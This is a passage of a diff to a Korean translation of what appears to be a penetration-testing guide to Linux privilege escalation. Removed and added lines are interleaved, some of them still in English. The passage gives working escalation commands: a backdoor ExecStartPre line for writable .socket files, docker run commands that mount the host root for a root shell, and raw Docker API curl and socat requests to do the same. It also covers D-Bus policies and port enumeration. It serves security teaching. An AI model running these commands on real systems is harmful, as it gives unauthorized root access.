์‹คํ–‰๋˜๋Š” ์ถ”๊ฐ€ **๋ช…๋ น๋“ค**์ž…๋‹ˆ๋‹ค. +- `Service`: ๋“ค์–ด์˜ค๋Š” ํŠธ๋ž˜ํ”ฝ์—์„œ ํ™œ์„ฑํ™”ํ•  **service unit** ์ด๋ฆ„์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ Accept=no์ธ sockets์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ ์†Œ์ผ“๊ณผ ๋™์ผํ•œ ์ด๋ฆ„์„ ๊ฐ€์ง„ ์„œ๋น„์Šค(์ ‘๋ฏธ์‚ฌ๋งŒ ๊ต์ฒด๋œ)์ž…๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ ์ด ์˜ต์…˜์„ ์‚ฌ์šฉํ•  ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค. ### Writable .socket files -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _ํ•ด๋‹น ์†Œ์ผ“ ํŒŒ์ผ ์„ค์ •์„ ์‹œ์Šคํ…œ์ด ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์–ด์•ผ ๋ฐฑ๋„์–ด๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค_ ### Writable sockets -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +๋งŒ์•ฝ **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ socket**์„ ์‹๋ณ„ํ•œ๋‹ค๋ฉด (_์—ฌ๊ธฐ์„œ๋Š” ๊ตฌ์„ฑ `.socket` ํŒŒ์ผ์ด ์•„๋‹Œ Unix Sockets๋ฅผ ๋งํ•ฉ๋‹ˆ๋‹ค_), ํ•ด๋‹น socket๊ณผ **ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ** ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -### Enumerate Unix Sockets +### Unix Sockets ์—ด๊ฑฐ ```bash netstat -a -p --unix ``` @@ -511,48 +506,48 @@ socket-command-injection.md ### HTTP sockets -์ผ๋ถ€ **sockets listening for HTTP** requests๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š” (_์ œ๊ฐ€ ๋งํ•˜๋Š” ๊ฒƒ์€ .socket files๊ฐ€ ์•„๋‹ˆ๋ผ unix sockets๋กœ ๋™์ž‘ํ•˜๋Š” ํŒŒ์ผ๋“ค์ž…๋‹ˆ๋‹ค_). ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ผ๋ถ€ **sockets listening for HTTP** ์š”์ฒญ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (_์—ฌ๊ธฐ์„œ .socket files๋ฅผ ๋งํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ unix sockets๋กœ ๋™์ž‘ํ•˜๋Š” ํŒŒ์ผ๋“ค์„ ๋งํ•ฉ๋‹ˆ๋‹ค_). ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -๋งŒ์•ฝ ์†Œ์ผ“์ด **HTTP ์š”์ฒญ์— ์‘๋‹ตํ•œ๋‹ค๋ฉด**, ํ•ด๋‹น ์†Œ์ผ“๊ณผ **ํ†ต์‹ **ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์–ด์ฉŒ๋ฉด ์ผ๋ถ€ ์ทจ์•ฝ์ ์„ **exploit**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ ์†Œ์ผ“์ด **HTTP๋กœ ์‘๋‹ตํ•˜๋Š”** ์š”์ฒญ์ด๋ผ๋ฉด, ํ•ด๋‹น ์†Œ์ผ“๊ณผ **ํ†ต์‹ **ํ•  ์ˆ˜ ์žˆ๊ณ  ์–ด์ฉŒ๋ฉด **exploit ์ผ๋ถ€ ์ทจ์•ฝ์ **ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ Docker ์†Œ์ผ“ -Docker ์†Œ์ผ“(์ผ๋ฐ˜์ ์œผ๋กœ `/var/run/docker.sock`์— ์œ„์น˜)์€ ๋ฐ˜๋“œ์‹œ ๋ณดํ˜ธํ•ด์•ผ ํ•˜๋Š” ์ค‘์š”ํ•œ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ `root` ์‚ฌ์šฉ์ž์™€ `docker` ๊ทธ๋ฃน์˜ ๋ฉค๋ฒ„๋“ค์ด ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ์ด ์†Œ์ผ“์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๋ฉด Privilege Escalation์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ Docker CLI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์„ ๋•Œ์˜ ๋Œ€์•ˆ ๋ฐฉ๋ฒ•๋“ค์— ๋Œ€ํ•œ ์„ค๋ช…์ž…๋‹ˆ๋‹ค. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -Docker ์†Œ์ผ“์— ์“ฐ๊ธฐ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ ๋ช…๋ น์–ด๋“ค์„ ์ด์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ Docker ์†Œ์ผ“์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -์ด ๋ช…๋ น๋“ค์€ ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฃจํŠธ ์ˆ˜์ค€ ์ ‘๊ทผ ๊ถŒํ•œ์œผ๋กœ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. +์ด ๋ช…๋ น๋“ค์€ ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root ์ˆ˜์ค€ ์ ‘๊ทผ ๊ถŒํ•œ์œผ๋กœ container๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. -#### **Docker API ์ง์ ‘ ์‚ฌ์šฉ** +#### **Using Docker API Directly** -Docker CLI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ Docker ์†Œ์ผ“์€ Docker API์™€ `curl` ๋ช…๋ น์„ ์ด์šฉํ•ด ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Docker CLI๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ Docker socket์€ Docker API์™€ `curl` ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด ์—ฌ์ „ํžˆ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -1. **Docker ์ด๋ฏธ์ง€ ๋‚˜์—ด:** ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ด๋ฏธ์ง€ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. +1. **List Docker Images:** ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ด๋ฏธ์ง€ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **์ปจํ…Œ์ด๋„ˆ ์ƒ์„ฑ:** ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์˜ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๋Š” ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ƒ์„ฑํ•˜๋„๋ก ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. +2. **Create a Container:** ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์˜ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๋Š” container๋ฅผ ์ƒ์„ฑํ•˜๋„๋ก ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -์ƒˆ๋กœ ์ƒ์„ฑ๋œ ์ปจํ…Œ์ด๋„ˆ ์‹œ์ž‘: +์ƒˆ๋กœ ์ƒ์„ฑํ•œ container๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **์ปจํ…Œ์ด๋„ˆ์— ์—ฐ๊ฒฐ:** `socat`๋ฅผ ์‚ฌ์šฉํ•ด ์ปจํ…Œ์ด๋„ˆ์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋ฉด ๊ทธ ์•ˆ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +3. **Attach to the Container:** `socat`๋ฅผ ์‚ฌ์šฉํ•ด container์— ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ณ  ๋ช…๋ น ์‹คํ–‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -562,31 +557,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•œ ํ›„์—๋Š” ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์ง์ ‘ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`socat` ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•œ ํ›„์—๋Š” container ๋‚ด์—์„œ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root ์ˆ˜์ค€ ์ ‘๊ทผ์œผ๋กœ ์ง์ ‘ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### ๊ธฐํƒ€ +### Others -docker ์†Œ์ผ“์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๊ณ  **`docker` ๊ทธ๋ฃน์˜ ๋‚ด๋ถ€ ๋ฉค๋ฒ„์ธ ๊ฒฝ์šฐ** [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)๋ผ๋ฉด ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ์†์ƒ์‹œํ‚ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +docker socket์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๊ณ  **inside the group `docker`**๋ผ๋ฉด [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)๋ผ๋ฉด ์ด๋ฅผ ๊ณต๊ฒฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -๋‹ค์Œ์—์„œ **docker์—์„œ ํƒˆ์ถœํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋” ๋งŽ์€ ๋ฐฉ๋ฒ•๋“ค**์„ ํ™•์ธํ•˜์„ธ์š”: +๋‹ค์Œ์—์„œ docker์—์„œ ๋ฒ—์–ด๋‚˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์„ ๋” ํ™•์ธํ•˜์„ธ์š”: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) ๊ถŒํ•œ ์ƒ์Šน +## Containerd (ctr) privilege escalation -๋งŒ์•ฝ **`ctr`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š” โ€” **์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +๋งŒ์•ฝ **`ctr`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š” โ€” **์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** ๊ถŒํ•œ ์ƒ์Šน +## **RunC** privilege escalation -๋งŒ์•ฝ **`runc`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š” โ€” **์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +๋งŒ์•ฝ **`runc`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š” โ€” **์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: {{#ref}} @@ -595,15 +590,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์ด ํšจ์œจ์ ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ์ •๊ตํ•œ **์ธํ„ฐํ”„๋กœ์„ธ์Šค ํ†ต์‹ (IPC) ์‹œ์Šคํ…œ**์ž…๋‹ˆ๋‹ค. ํ˜„๋Œ€์ ์ธ Linux ์‹œ์Šคํ…œ์„ ์—ผ๋‘์— ๋‘๊ณ  ์„ค๊ณ„๋˜์–ด ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒฌ๊ณ ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +D-Bus๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์ด ํšจ์œจ์ ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ์ •๊ตํ•œ **inter-Process Communication (IPC) system**์ž…๋‹ˆ๋‹ค. ํ˜„๋Œ€ Linux ์‹œ์Šคํ…œ์„ ์—ผ๋‘์— ๋‘๊ณ  ์„ค๊ณ„๋˜์–ด ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒฌ๊ณ ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -์ด ์‹œ์Šคํ…œ์€ ๊ธฐ๋ณธ์ ์ธ IPC๋ฅผ ์ง€์›ํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ํ–ฅ์ƒ์‹œํ‚ค๋ฉฐ, ์ด๋Š” ํ™•์žฅ๋œ UNIX ๋„๋ฉ”์ธ ์†Œ์ผ“๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋ฒคํŠธ๋‚˜ ์‹ ํ˜ธ์˜ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ๋ฅผ ์ง€์›ํ•ด ์‹œ์Šคํ…œ ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์˜ ์›ํ™œํ•œ ํ†ตํ•ฉ์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Bluetooth ๋ฐ๋ชฌ์˜ ์ˆ˜์‹  ํ˜ธ์ถœ ์‹ ํ˜ธ๊ฐ€ ์Œ์•… ์žฌ์ƒ๊ธฐ๋ฅผ ์Œ์†Œ๊ฑฐํ•˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ D-Bus๋Š” ์›๊ฒฉ ๊ฐ์ฒด ์‹œ์Šคํ…œ์„ ์ง€์›ํ•ด ์„œ๋น„์Šค ์š”์ฒญ๊ณผ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์„ ๊ฐ„์†Œํ™”ํ•˜์—ฌ ์ „ํ†ต์ ์œผ๋กœ ๋ณต์žกํ–ˆ๋˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. +์ด ์‹œ์Šคํ…œ์€ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ํ–ฅ์ƒ์‹œํ‚ค๋Š” ๊ธฐ๋ณธ์ ์ธ IPC๋ฅผ ์ง€์›ํ•˜๋ฉฐ, ํ–ฅ์ƒ๋œ UNIX domain sockets์„ ์—ฐ์ƒ์‹œํ‚ค๋Š” ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋ฒคํŠธ๋‚˜ ์‹ ํ˜ธ๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜์—ฌ ์‹œ์Šคํ…œ ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์˜ ์›ํ™œํ•œ ํ†ตํ•ฉ์„ ๋•์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Bluetooth ๋ฐ๋ชฌ์˜ ์ˆ˜์‹  ํ˜ธ์ถœ ์‹ ํ˜ธ๊ฐ€ ์Œ์•… ํ”Œ๋ ˆ์ด์–ด๋ฅผ ์Œ์†Œ๊ฑฐํ•˜๊ฒŒ ํ•˜๋Š” ๋“ฑ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ํ–ฅ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ D-Bus๋Š” ์›๊ฒฉ ๊ฐ์ฒด ์‹œ์Šคํ…œ์„ ์ง€์›ํ•˜์—ฌ ์„œ๋น„์Šค ์š”์ฒญ๊ณผ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์„ ๋‹จ์ˆœํ™”ํ•จ์œผ๋กœ์จ ์ „ํ†ต์ ์œผ๋กœ ๋ณต์žกํ–ˆ๋˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ„์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค. -D-Bus๋Š” **ํ—ˆ์šฉ/๊ฑฐ๋ถ€ ๋ชจ๋ธ**๋กœ ๋™์ž‘ํ•˜๋ฉฐ, ์ผ์น˜ํ•˜๋Š” ์ •์ฑ… ๊ทœ์น™๋“ค์˜ ๋ˆ„์  ํšจ๊ณผ์— ๋”ฐ๋ผ ๋ฉ”์‹œ์ง€ ๊ถŒํ•œ(๋ฉ”์„œ๋“œ ํ˜ธ์ถœ, ์‹ ํ˜ธ ์ „์†ก ๋“ฑ)์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ •์ฑ…์€ ๋ฒ„์Šค์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์ง€์ •ํ•˜๋ฉฐ, ๊ถŒํ•œ์˜ ์˜ค์šฉ์„ ํ†ตํ•ด ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +D-Bus๋Š” **allow/deny model**๋กœ ๋™์ž‘ํ•˜๋ฉฐ, ๋งค์นญ๋˜๋Š” ์ •์ฑ… ๊ทœ์น™๋“ค์˜ ๋ˆ„์ ๋œ ํšจ๊ณผ์— ๋”ฐ๋ผ ๋ฉ”์‹œ์ง€ ๊ถŒํ•œ(method calls, signal emissions ๋“ฑ)์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ •์ฑ…๋“ค์€ ๋ฒ„์Šค์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์ง€์ •ํ•˜๋ฉฐ, ๊ถŒํ•œ์„ ์•…์šฉํ•ด privilege escalation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์˜ˆ์‹œ๋กœ `/etc/dbus-1/system.d/wpa_supplicant.conf`์— ์žˆ๋Š” ํ•ด๋‹น ์ •์ฑ…์€ root ์‚ฌ์šฉ์ž๊ฐ€ `fi.w1.wpa_supplicant1`์„ ์†Œ์œ ํ•˜๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๋กœ ์ „์†กํ•˜๋ฉฐ, ํ•ด๋‹น ์„œ๋น„์Šค๋กœ๋ถ€ํ„ฐ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์ž์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด `/etc/dbus-1/system.d/wpa_supplicant.conf`์— ์žˆ๋Š” ์ด๋Ÿฌํ•œ ์ •์ฑ…์˜ ์˜ˆ์‹œ๋Š” root ์‚ฌ์šฉ์ž๊ฐ€ `fi.w1.wpa_supplicant1`์„ ์†Œ์œ ํ•˜๊ณ , ์ด์—๊ฒŒ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๊ณ , ์ด๋กœ๋ถ€ํ„ฐ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์ƒ์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์ด ๋ช…์‹œ๋˜์ง€ ์•Š์€ ์ •์ฑ…์€ ๋ชจ๋“  ์‚ฌ์šฉ์ž์— ์ ์šฉ๋˜๋ฉฐ, "default" ์ปจํ…์ŠคํŠธ ์ •์ฑ…์€ ๋‹ค๋ฅธ ํŠน์ • ์ •์ฑ…์— ํฌํ•จ๋˜์ง€ ์•Š๋Š” ๋ชจ๋“  ๋Œ€์ƒ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. +์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์ด ์ง€์ •๋˜์ง€ ์•Š์€ ์ •์ฑ…์€ ๋ณดํŽธ์ ์œผ๋กœ ์ ์šฉ๋˜๋ฉฐ, "default" ์ปจํ…์ŠคํŠธ ์ •์ฑ…์€ ๋‹ค๋ฅธ ํŠน์ • ์ •์ฑ…๋“ค์— ์˜ํ•ด ๋‹ค๋ฃจ์–ด์ง€์ง€ ์•Š๋Š” ๋ชจ๋“  ๋Œ€์ƒ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ```xml @@ -612,7 +607,7 @@ D-Bus๋Š” **ํ—ˆ์šฉ/๊ฑฐ๋ถ€ ๋ชจ๋ธ**๋กœ ๋™์ž‘ํ•˜๋ฉฐ, ์ผ์น˜ํ•˜๋Š” ์ •์ฑ… ๊ทœ์น™๋“ค ``` -**์—ฌ๊ธฐ์—์„œ D-Bus ํ†ต์‹ ์„ enumerateํ•˜๊ณ  exploitํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”:** +**์—ฌ๊ธฐ์—์„œ D-Bus ํ†ต์‹ ์„ enumerateํ•˜๊ณ  exploitํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”:** {{#ref}} @@ -648,22 +643,22 @@ lsof -i ``` ### ์—ด๋ฆฐ ํฌํŠธ -ํ•ด๋‹น ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๊ธฐ ์ „์— ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ธ์ง€ ํ•ญ์ƒ ํ™•์ธํ•˜์„ธ์š”: +ํ•ญ์ƒ ์ ‘๊ทผํ•˜๊ธฐ ์ „์— ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๋จธ์‹ ์—์„œ ์‹คํ–‰ ์ค‘์ธ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๋ฅผ ํ™•์ธํ•˜์„ธ์š”: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic์„ ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณด์„ธ์š”. 